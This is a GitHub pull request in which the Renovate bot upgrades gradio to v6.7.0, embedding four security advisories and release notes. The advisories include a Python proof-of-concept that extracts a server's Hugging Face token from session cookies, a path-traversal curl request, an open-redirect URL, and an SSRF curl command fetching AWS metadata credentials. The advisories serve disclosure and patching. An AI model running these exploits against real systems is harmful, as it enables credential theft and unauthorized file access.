Skip to content

chore(deps): update dependency gradio to v6 [security]#625

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/pypi-gradio-vulnerability
Open

chore(deps): update dependency gradio to v6 [security]#625
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/pypi-gradio-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 22, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
gradio 5.49.16.7.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-27167

Summary

Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingface_hub.get_token() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.

Affected Component

gradio/oauth.py — functions attach_oauth(), _add_mocked_oauth_routes(), and _get_mocked_oauth_info().

Root Cause Analysis

1. Real token injected into every visitor's session

When Gradio detects it is not running inside a Hugging Face Space (get_space() is None), it registers mocked OAuth routes via _add_mocked_oauth_routes() (line 44).

The function _get_mocked_oauth_info() (line 307) calls huggingface_hub.get_token() to retrieve the real HF access token configured on the host machine (via HF_TOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):

request.session["oauth_info"] = mocked_oauth_info

The mocked_oauth_info dict contains the real token at key access_token (line 329):

return {
    "access_token": token,  # <-- real HF token from server
    ...
}

2. Hardcoded session signing secret

The SessionMiddleware secret is derived from OAUTH_CLIENT_SECRET (line 50):

session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"

When running outside a Space, OAUTH_CLIENT_SECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.

In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.

Attack Scenario

Prerequisites

  • A Gradio app using OAuth components (gr.LoginButton, gr.OAuthProfile, etc.)
  • The app is network-accessible (e.g. server_name="0.0.0.0", share=True, port forwarding, etc.)
  • The host machine has a Hugging Face token configured
  • OAUTH_CLIENT_SECRET is not set (default outside of Spaces)

Steps

  1. Attacker sends a GET request to http://<target>:7860/login/huggingface
  2. The server responds with a 307 redirect to /login/callback
  3. The attacker follows the redirect; the server sets a session cookie containing the real HF token
  4. The attacker base64-decodes the cookie payload (everything before the first .) to extract the access_token

Minimal Vulnerable Application

import gradio as gr
from huggingface_hub import login

login(token="hf_xxx...")

def hello(profile: gr.OAuthProfile | None) -> str:
    if profile is None:
        return "Not logged in."
    return f"Hello {profile.name}"

with gr.Blocks() as demo:
    gr.LoginButton()
    gr.Markdown().attach_load_event(hello, None)

demo.launch(server_name="0.0.0.0")

Proof of Concept

#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
    ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
    args = ap.parse_args()

    base = args.target.rstrip("/")
    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

    # 1. Trigger mocked OAuth flow — server injects its own HF token into our session
    s = requests.Session()
    s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)

    cookie = s.cookies.get("session")
    if not cookie:
        print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
        sys.exit(1)

    # 2. Decode the cookie payload (base64 before the first ".")
    payload_b64 = cookie.split(".")[0]
    payload_b64 += "=" * (-len(payload_b64) % 4)  # fix padding
    data = json.loads(base64.b64decode(payload_b64))
    token = data.get("oauth_info", {}).get("access_token")

    if token:
        print(f"[+] Leaked HF token: {token}")
    else:
        print("[-] No access_token found in session.", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    main()

CVE-2026-28414

Summary

Gradio apps running on Window with Python 3.13+ are vulnerable to an absolute path traversal issue that enables unauthenticated attackers to read arbitrary files from the file system.

Details

Python 3.13+ changed the definition of os.path.isabs so that root-relative paths like /windows/win.ini on Windows are no longer considered absolute paths, resulting in a vulnerability in Gradio's logic for joining paths safely.

This can be exploited by unauthenticated attackers to read arbitrary files from the Gradio server, even when Gradio is set up with authentication.

PoC

% curl http://10.10.10.10:7860/static//windows/win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Impact

Arbitrary file read in the context of the Windows user running Gradio.

CVE-2026-28415

Summary

The _redirect_to_target() function in Gradio's OAuth flow accepts an unvalidated _target_url query parameter, allowing redirection to arbitrary external URLs. This affects the /logout and /login/callback endpoints on Gradio apps with OAuth enabled (i.e. apps running on Hugging Face Spaces with gr.LoginButton).

Details

  def _redirect_to_target(request, default_target="/"):
      target = request.query_params.get("_target_url", default_target)
      return RedirectResponse(target)  # No validation

An attacker can craft a URL like https://my-space.hf.space/logout?_target_url=https://evil.com/phishing that redirects the user to an external site after logout. Because the URL originates from a trusted hf.space domain, users are more likely to trust the link.

Impact

Phishing — an attacker can use the trusted domain to redirect users to a malicious site. No direct data exposure or server-side impact.

Fix

The _target_url parameter is now sanitized to only use the path, query, and fragment, stripping any scheme or host.

CVE-2026-28416

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.

Details

The vulnerability exists in Gradio's config processing flow when loading external Spaces:

  1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.

  2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:

    if config.get("proxy_url"):
        self.proxy_urls.add(config["proxy_url"])
  3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:

    @&#8203;router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
    async def reverse_proxy(url_path: str):
  4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:

    is_safe_url = any(
        url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
    )

An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.

PoC

Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6

1. Attacker creates a malicious Gradio Space that returns this config:

{
    "mode": "blocks",
    "components": [...],
    "proxy_url": "http://169.254.169.254/"  # AWS metadata endpoint
}

2. Victim loads the malicious Space:

import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)

3. Attacker exploits the proxy:

# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Impact

Who is impacted:

  • Any Gradio application that uses gr.load() to load external/untrusted Spaces
  • HuggingFace Spaces that compose or embed other Spaces
  • Enterprise deployments where Gradio apps have access to internal networks

Attack scenarios:

  • Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
  • Internal service access: Reach databases, admin panels, and APIs on private networks
  • Network reconnaissance: Map internal infrastructure through the victim
  • Data exfiltration: Access sensitive internal APIs and services

Release Notes

gradio-app/gradio (gradio)

v6.7.0

Compare Source

Features
Fixes

v6.6.0

Compare Source

Features
Fixes

v6.5.1

Compare Source

Fixes

v6.5.0

Compare Source

Features
Fixes

v6.4.0

Compare Source

Features
Fixes

v6.3.0

Compare Source

Features
Fixes

v6.2.0

Compare Source

Features
Fixes

v6.1.0

Compare Source

Features
Fixes

v6.0.2

Compare Source

Features
Fixes

v6.0.1

Compare Source

Features
Fixes
  • #​12460 f9e272d - Fix bug where close method does not kill the thread. Thanks [@​fred

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/pypi-gradio-vulnerability branch 3 times, most recently from 4519f4a to d68a82c Compare March 26, 2026 13:28
@renovate renovate bot changed the title chore(deps): update dependency gradio to v6 [security] chore(deps): update dependency gradio to v6 [security] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/pypi-gradio-vulnerability branch March 27, 2026 00:47
@renovate renovate bot changed the title chore(deps): update dependency gradio to v6 [security] - autoclosed chore(deps): update dependency gradio to v6 [security] Mar 30, 2026
@renovate renovate bot reopened this Mar 30, 2026
@renovate renovate bot force-pushed the renovate/pypi-gradio-vulnerability branch from d68a82c to 052795f Compare March 30, 2026 17:45
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants